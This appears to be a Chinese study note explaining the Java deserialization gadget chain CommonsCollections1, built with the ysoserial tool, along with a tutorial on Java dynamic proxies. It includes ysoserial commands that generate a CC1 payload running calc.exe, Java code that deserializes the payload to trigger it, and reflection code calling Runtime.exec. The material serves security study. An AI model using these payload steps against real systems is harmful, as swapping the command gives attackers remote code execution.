1、简介
ysoserial是一个用于生成不安全的java反序列化payload的工具。
https://github.com/frohoff/ysoserial
2、使用
2.1、下载ysoserial-all.jar


2.2、命令
这两条命令可以直接在window下cmd或者powershell上执行。
bash
-- 查看工具的帮助文档
java -jar ysoserial-all.jar
-- 列出所有支持的漏洞利用链、对应环境版本限制
java -jar ysoserial-all.jar --list
xxd是linux命令,无法在windows的cmd或者powershell上执行。不过可以在git bash上执行,git bash支持部分linux命令。
bash
-- 直接把 CC1 恶意序列化二进制载荷,实时转为十六进制文本展示在屏幕上,
-- 用于人工分析 Payload 内部结构。
java -jar ysoserial-all.jar CommonsCollections1 calc.exe | xxd
-- 保存到payload.txt文件里
java -jar ysoserial-all.jar CommonsCollections1 calc.exe | xxd >payload.txt
-- 生成一个 Java 原生序列化格式(二进制)的 CC1 Gadget Chain 攻击载荷(Payload)。
-- 可以直接反序列化CommonsCollections1.ser触发calc.exe执行。
java -jar ysoserial-all.jar CommonsCollections1 "calc.exe" > CommonsCollections1.ser
java
public class App {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String path="D:\\学习资料\\上海海事大学\\论文\\我的论文\\研究\\相关工具软件\\ysoserial\\CommonsCollections1.ser";
// 对CommonsCollections1.ser进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(path));
in.readObject();
in.close();
}
}
执行后,再反序列化CommonsCollections1.ser时,会弹出一个计算器。

注意:我使用的是java7环境,因为cc1链最早是在java7环境上发现的。

2.3、查看构造的cc1链
可以使用HxD工具直接查看2.2中生成的CommonsCollections1.ser。

当然这个看起来很乱,可读性很差。建议直接看ysoserial项目中的源码。

java
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
反序列化AnnotationInvocationHandler类时,会调用AnnotationInvocationHandler.readObject()。在这个readObject()方法里会调用到Map.entrySet()。这里使用了代理,实际上调用的是Proxy0.entrySet()。这个Proxy0是:final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);这里的mapProxy。

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);这行代码创建了一个AnnotationInvocationHandler对象。
AnnotationInvocationHandler.readObject() 中的 this.memberValues 保存的是 mapProxy;mapProxy 的真实类型是 JVM 动态生成的 $Proxy0;由于 $Proxy0 是一个动态代理对象,它实现的所有 Map 接口方法(包括 entrySet())都会统一转发给其内部保存的 InvocationHandler.invoke();而这个 InvocationHandler 正是 AnnotationInvocationHandler,因此最终进入 AnnotationInvocationHandler.invoke()。
在AnnotationInvocationHandler.invoke()方法中,Object var6 = this.memberValues.get(var4);这里的memberValues.get()方法,实际调用的是LazyMap.get()。

在LazyMap.get()方法中,调用了Transformer.transform()方法。

Transformer是一个接口,实际执行的实现方法是ChainedTransformer.transform()。因为在CommonsCollections1类中,Transformer接口真正创建的是ChainedTransformer对象。

在ChainedTransformer.transform方法中,会依次调用ConstantTransformer.transform()和InvokerTransformer.transform()。

之所以会调用这两个Transformer实现类的方法,是因为在CommonsCollections1类中构造cc1链的时候,有链接过这两个类的对象。

在InvokerTransformer.transform()方法里会走到method.invoke()方法,

Method.invoke()是java反射机制中最核心的方法之一。其中Method是反射对象,而Method.invoke是利用反射去调用方法。
Method.invoke()第一个参数Object obj表示的是调用者对象实例。第二个参数Object... args是可变参数,允许传多个值,是调用方法时传入的实参列表。
java
// 不使用反射
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");
// 使用反射
// 第一个参数"exec":指定要查找的目标方法名称
// 后面可变参数列表:依次填写目标方法每个形参的Class类型,数量对应方法形参个数,用于区分重载方法
// 此处仅传入String.class,代表查找仅有1个String类型入参的exec重载方法
Method method = Runtime.class.getMethod("exec", String.class);
// 第一个参数Runtime.getRuntime():调用者。
// 第二个参数calc.exe:exec方法的入参
method.invoke(Runtime.getRuntime(),"calc.exe");
其实最终就是通过反射的方式去执行runtime.exec("calc.exe");
这里是在gadget chain中通过Transformer一层层的传递对象,一步步的利用java反射传递对象,最终达到:Runtime runtime = Runtime.getRuntime();runtime.exec("calc.exe");这两行代码的效果。

3、动态代理
在java中,一个java接口可以有多个实现类。我们在调用接口方法的时候,想要指定用的是哪个实现类的方法。有两种方式。
一种是直接new一个实现类。比如:
java
List<String> list=new ArrayList<>();
List<String> list1=new LinkedList<>();
List是接口,ArrayList和LinkedList是List接口的实现类。
另一种方式就是使用动态代理。动态代理就是创建代理对象,由代理对象中的InvocationHandler决定转发给哪个对象。
java
package org.example.ProxyTest;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
/**
* @author: Wulc
* @createTime: 2026-08-02
* @description:
* @version: 1.0
*/
public class MyInvocationHandler implements InvocationHandler {
private Object target;
public MyInvocationHandler(Object target) {
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("进入InvocationHandler.invoke()");
return method.invoke(target,args);
}
}
java
package org.example.ProxyTest;
public interface MyMap {
Object get(Object key);
}
java
package org.example.ProxyTest;
/**
* @author: Wulc
* @createTime: 2026-08-02
* @description:
* @version: 1.0
*/
public class MyLazyMap implements MyMap{
@Override
public Object get(Object key) {
System.out.println("进入了MyLazyMap.get()");
return "进入了MyLazyMap.get()";
}
}
java
package org.example.ProxyTest;
/**
* @author: Wulc
* @createTime: 2026-08-07
* @description:
* @version: 1.0
*/
public class YourLazyMap implements MyMap{
@Override
public Object get(Object key) {
System.out.println("进入了YourLazyMap.get()");
return "进入了YourLazyMap.get()";
}
}
java
package org.example.ProxyTest;
import java.lang.reflect.Proxy;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
/**
* @author: Wulc
* @createTime: 2026-08-02
* @description:
* @version: 1.0
*/
public class Test {
public static void main(String[] args) {
MyLazyMap myLazyMap = new MyLazyMap();
//创建代理
MyMap proxy = (MyMap) Proxy.newProxyInstance(
MyMap.class.getClassLoader(),
new Class[]{
MyMap.class
},
new MyInvocationHandler(
myLazyMap
)
);
Object result = proxy.get("hello"); // 这里调用的是MyLazyMap.get()方法
System.out.println(result);
YourLazyMap yourLazyMap = new YourLazyMap();
MyMap proxy1 = (MyMap) Proxy.newProxyInstance(
MyMap.class.getClassLoader(),
new Class[]{
MyMap.class
},
new MyInvocationHandler(
yourLazyMap
)
);
result = proxy1.get("hello"); // 这里调用的是MyLazyMap.get()方法
System.out.println(result);
}
}

以下代码片段,new MyInvocationHandler的时候,传了MyLazyMap对象。先进到了MyInvocationHandler类中,MyInvocationHandler重写了InvocationHandler.invoke()方法,

通过反射的方式去调用target对象的方法

总结一下就是:

动态代理与直接new一个实现类的区别就是,动态代理的目的不仅仅是为了选择一个实现类,而是在调用真正对象的方法之前/之后,插入额外的逻辑,因此就可以通过动态代理去构造危险利用链。
比如在CC1链中,CC1 首先构造一个实现 Map 接口的动态代理对象,使得对该代理对象的 entrySet()、get() 等接口方法调用会被转发到 InvocationHandler.invoke()。这里的 InvocationHandler 是 AnnotationInvocationHandler。在 AnnotationInvocationHandler.invoke() 中,又通过其 memberValues 字段调用 get(),而 memberValues 实际关联到攻击者构造的 LazyMap,因此最终进入 LazyMap.get()。LazyMap.get() 会调用其 Transformer 的 transform() 方法,而这里的 Transformer 实际上是 ChainedTransformer,从而依次执行多个 Transformer,最终通过反射调用危险方法 Runtime.exec(),形成完整的 gadget chain 和最终 sink。

其中某些节点可能具有非常明显的 高连接性、跨链复用性、可达性、数据流传播能力。
4、总结
动态代理就是一个调用转发/桥接机制,它可以把调用从一个接口方法动态转发到另一个可控对象的能力。比如把原本无法直接到达的调用路径连接到LazyMap.get()、InvocationHandler.invoke()方法,最终流向sink。